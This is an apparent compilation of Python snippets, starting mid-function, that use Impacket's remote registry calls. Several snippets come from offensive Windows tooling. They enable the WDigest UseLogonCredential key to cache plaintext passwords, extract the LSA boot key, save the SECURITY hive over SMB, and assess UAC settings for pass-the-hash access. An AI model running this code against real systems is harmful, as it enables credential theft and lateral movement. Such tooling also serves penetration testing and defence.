                context.log.success(
                    'UseLogonCredential registry key not present')

                try:
                    remoteOps.finish()
                except:
                    pass

                return

            try:
                #Check to make sure the reg key is actually deleted
                rtype, data = rrp.hBaseRegQueryValue(
                    remoteOps._RemoteOperations__rrp, keyHandle,
                    'UseLogonCredential\x00')
            except DCERPCException:
                context.log.success(
                    'UseLogonCredential registry key deleted successfully')

                try:
                    remoteOps.finish()
                except:
                    pass
Esempio n. 32
0
    def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce,phKey, 'SECURITY\x00')
        resp.dump()

        request = rrp.BaseRegSaveKey()
        request['hKey'] = resp['phkResult']
        request['lpFile'] = 'SEC\x00'
        request['pSecurityAttributes'] = NULL
        resp = dce.request(request)
        resp.dump()

        resp = rrp.hBaseRegLoadKey(dce, phKey,'BETUS\x00', 'SEC\x00' )
        resp.dump()

        resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\x00')
        resp.dump()

        smb = rpctransport.get_smb_connection()
        smb.deleteFile('ADMIN$', 'System32\\SEC')
Esempio n. 33
0
    def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SECURITY\x00')
        resp.dump()

        request = rrp.BaseRegSaveKey()
        request['hKey'] = resp['phkResult']
        request['lpFile'] = 'SEC\x00'
        request['pSecurityAttributes'] = NULL
        resp = dce.request(request)
        resp.dump()

        resp = rrp.hBaseRegLoadKey(dce, phKey, 'BETUS\x00', 'SEC\x00')
        resp.dump()

        resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\x00')
        resp.dump()

        smb = rpctransport.get_smb_connection()
        smb.deleteFile('ADMIN$', 'System32\\SEC')
Esempio n. 34
0
    def wdigest_enable(self, context, smbconnection):
        remoteOps = RemoteOperations(smbconnection, False)
        remoteOps.enableRegistry()

        if remoteOps._RemoteOperations__rrp:
            ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00',  rrp.REG_DWORD, 1)

            rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')

            if int(data) == 1:
                context.log.success('UseLogonCredential registry key created successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 35
0
    def getBootKey(self):
        bootKey = ''
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']
        for key in ['JD','Skew1','GBG','Data']:
            logging.debug('Retrieving class info for %s'% key)
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
            keyHandle = ans['phkResult']
            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
            bootKey = bootKey + ans['lpClassOut'][:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

        bootKey = unhexlify(bootKey)

        for i in xrange(len(bootKey)):
            self.__bootKey += bootKey[transforms[i]]

        logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))

        return self.__bootKey
Esempio n. 36
0
    def enable(self):
        remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
        remoteOps.enableRegistry()
        self.rrp = remoteOps._RemoteOperations__rrp

        if self.rrp is not None:
            ans = rrp.hOpenLocalMachine(self.rrp)
            regHandle = ans['phKey']

            ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
            keyHandle = ans['phkResult']

            rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00',  rrp.REG_DWORD, '\x01\x00')

            rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')

            if int(data) == 1:
                self.logger.success('UseLogonCredential registry key created successfully')

        try:
            remoteOps.finish()
        except:
            pass
Esempio n. 37
0
 def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):
     index = 0
     while True:
         try:
             subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)
             index +=1
             ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],
                                   samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
             newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\'
             print newKeyName
             self.__print_key_values(rpc, ans['phkResult'])
             self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)
         except rrp.DCERPCSessionError, e:
             if e.get_error_code() == ERROR_NO_MORE_ITEMS:
                 break
         except rpcrt.DCERPCException,e:
             if str(e).find('access_denied')>=0:
                 logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])
                 continue
             elif str(e).find('rpc_x_bad_stub_data')>=0:
                 logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])
                 return
             raise
Esempio n. 38
0
    def test_hBaseRegQueryMultipleValues(self):
        dce, rpctransport, phKey = self.connect()

        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00')
        resp.dump()


        valueIn = list()
        item1 = {}
        item1['ValueName'] = 'ProductName\x00'
        item1['ValueType'] = rrp.REG_SZ
        valueIn.append(item1)
         
        item2 = {}
        item2['ValueName'] = 'InstallDate\x00'
        item2['ValueType'] = rrp.REG_DWORD
        valueIn.append(item2)

        item3 = {}
        item3['ValueName'] = 'DigitalProductId\x00'
        item3['ValueType'] = rrp.REG_BINARY
        #valueIn.append(item3)

        resp = rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn)
Esempio n. 39
0
    def checkUAC(self, dce):
        #
        try:
            ans = rrp.hOpenLocalMachine(dce)
            regHandle = ans['phKey']
        except Exception as e:
            logging.debug('Exception thrown when hOpenLocalMachine: %s',
                          str(e))
            return

        self.logger.highlight('UAC Status:')

        try:
            resp = rrp.hBaseRegOpenKey(
                dce, regHandle,
                'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System'
            )
            keyHandle = resp['phkResult']
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegOpenKey: %s', str(e))
            return

        #EnableLUA
        try:
            dataType, lua_uac_value = rrp.hBaseRegQueryValue(
                dce, keyHandle, 'EnableLUA')
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegQueryValue: %s',
                          str(e))
            lua_uac_value = 3
            pass
        #LocalAccountTokenFilterPolicy
        try:
            dataType, latfp_uac_value = rrp.hBaseRegQueryValue(
                dce, keyHandle, 'LocalAccountTokenFilterPolicy')
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegQueryValue: %s',
                          str(e))
            latfp_uac_value = 3
            pass
        #LocalAccountTokenFilterPolicy
        try:
            dataType, fat_uac_value = rrp.hBaseRegQueryValue(
                dce, keyHandle, 'FilterAdministratorToken')
        except Exception as e:
            logging.debug('Exception thrown when hBaseRegQueryValue: %s',
                          str(e))
            fat_uac_value = 3
            pass

    #Results
        if lua_uac_value == 1:
            self.logger.highlight('    enableLua = 1  (default)   ')
        elif lua_uac_value == 0:
            self.logger.highlight('    enableLua = 0')
        else:
            self.logger.highlight('     enableLua key does not exist!')

        if latfp_uac_value == 1:
            self.logger.highlight('    LocalAccountTokenFilterPolicy = 1')
        elif latfp_uac_value == 0:
            self.logger.highlight(
                '    LocalAccountTokenFilterPolicy = 0  (default)')
        else:
            self.logger.highlight(
                '    LocalAccountTokenFilterPolicy key does not exist!')

        if fat_uac_value == 1:
            self.logger.highlight('    FilterAdministratorToken = 1    ')
        elif fat_uac_value == 0:
            self.logger.highlight('    FilterAdministratorToken = 0 (default)')
        else:
            self.logger.highlight(
                '    FilterAdministratorToken key does not exist!')

    # Analysis
        self.logger.highlight('')
        self.logger.highlight('UAC Analysis:')
        if lua_uac_value == 1:
            self.logger.highlight(
                'EnableLUA current setting means capabilities are determined by'
            )
            self.logger.highlight(
                '         LocalAccountTokenFilterPolicy and/or FilterAdministratorToken'
            )
            self.logger.highlight('')
        elif lua_uac_value == 0:
            self.logger.highlight(
                'High integrity access available to any member of the local admins group'
            )
            self.logger.highlight(
                '           using plaintext credentials or password hashes!')
            return

        if latfp_uac_value == 1:
            self.logger.highlight(
                'LocalAccountTokenFilterPolicy configured to allow remote connections with high integrity access tokens!'
            )
            return
        else:
            self.logger.highlight(
                'LocalAccountTokenFilterPolicy set to 0 tells us:')
            self.logger.highlight(
                '    High integrity access only possible using either the plaintext pass'
            )
            self.logger.highlight(
                '    or password hash of the RID 500 local administrator')
            self.logger.highlight('')

        if fat_uac_value == 1:
            self.logger.highlight(
                'FilterAdministratorToken set to 1 tells us High integrity access not available for RID 500 local administrator'
            )
        else:  # 0 or missing
            self.logger.highlight(
                'The FilterAdministratorToken setting should have no effect in this case'
            )
Esempio n. 40
0
    def delete(self, dce, keyName):
        hRootKey, subKey = self.__strip_root_key(dce, keyName)

        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
        if self.__options.v is None and not self.__options.va and not self.__options.ve:  # Try to delete subkey
            subKeyDelete = subKey
            subKey = '\\'.join(subKey.split('\\')[:-1])

            ans2 = rrp.hBaseRegOpenKey(dce,
                                       hRootKey,
                                       subKey,
                                       samDesired=READ_CONTROL
                                       | rrp.KEY_SET_VALUE
                                       | rrp.KEY_CREATE_SUB_KEY)

            # Should I use ans2?
            try:
                ans3 = rrp.hBaseRegDeleteKey(
                    dce,
                    hRootKey,
                    subKeyDelete,
                )
            except rpcrt.DCERPCException as e:
                if e.error_code == 5:
                    #TODO: Check if DCERPCException appears only because of existing subkeys
                    print(
                        'Cannot delete key %s. Possibly it contains subkeys or insufficient privileges'
                        % keyName)
                    return
                else:
                    raise
            except Exception as e:
                logging.error('Unhandled exception while hBaseRegDeleteKey')
                return

            if ans3['ErrorCode'] == 0:
                print('Successfully deleted subkey %s' % (keyName))
            else:
                print('Error 0x%08x while deleting subkey %s' %
                      (ans3['ErrorCode'], keyName))

        elif self.__options.v:  # Delete single value
            ans2 = rrp.hBaseRegOpenKey(dce,
                                       hRootKey,
                                       subKey,
                                       samDesired=READ_CONTROL
                                       | rrp.KEY_SET_VALUE
                                       | rrp.KEY_CREATE_SUB_KEY)

            ans3 = rrp.hBaseRegDeleteValue(dce, ans2['phkResult'],
                                           self.__options.v)

            if ans3['ErrorCode'] == 0:
                print('Successfully deleted key %s\\%s' %
                      (keyName, self.__options.v))
            else:
                print('Error 0x%08x while deleting key %s\\%s' %
                      (ans3['ErrorCode'], keyName, self.__options.v))

        elif self.__options.ve:
            ans2 = rrp.hBaseRegOpenKey(dce,
                                       hRootKey,
                                       subKey,
                                       samDesired=READ_CONTROL
                                       | rrp.KEY_SET_VALUE
                                       | rrp.KEY_CREATE_SUB_KEY)

            ans3 = rrp.hBaseRegDeleteValue(dce, ans2['phkResult'], '')

            if ans3['ErrorCode'] == 0:
                print('Successfully deleted value %s\\%s' %
                      (keyName, 'Default'))
            else:
                print('Error 0x%08x while deleting value %s\\%s' %
                      (ans3['ErrorCode'], keyName, self.__options.v))

        elif self.__options.va:
            ans2 = rrp.hBaseRegOpenKey(dce,
                                       hRootKey,
                                       subKey,
                                       samDesired=rrp.MAXIMUM_ALLOWED
                                       | rrp.KEY_ENUMERATE_SUB_KEYS)
            i = 0
            allSubKeys = []
            while True:
                try:
                    ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i)
                    lp_value_name = ans3['lpValueNameOut'][:-1]
                    allSubKeys.append(lp_value_name)
                    i += 1
                except rrp.DCERPCSessionError as e:
                    if e.get_error_code() == ERROR_NO_MORE_ITEMS:
                        break

            ans4 = rrp.hBaseRegOpenKey(dce,
                                       hRootKey,
                                       subKey,
                                       samDesired=rrp.MAXIMUM_ALLOWED
                                       | rrp.KEY_ENUMERATE_SUB_KEYS)
            for subKey in allSubKeys:
                try:
                    ans5 = rrp.hBaseRegDeleteValue(dce, ans4['phkResult'],
                                                   subKey)
                    if ans5['ErrorCode'] == 0:
                        print('Successfully deleted value %s\\%s' %
                              (keyName, subKey))
                    else:
                        print('Error 0x%08x in deletion of value %s\\%s' %
                              (ans5['ErrorCode'], keyName, subKey))
                except Exception as e:
                    print('Unhandled error %s in deletion of value %s\\%s' %
                          (str(e), keyName, subKey))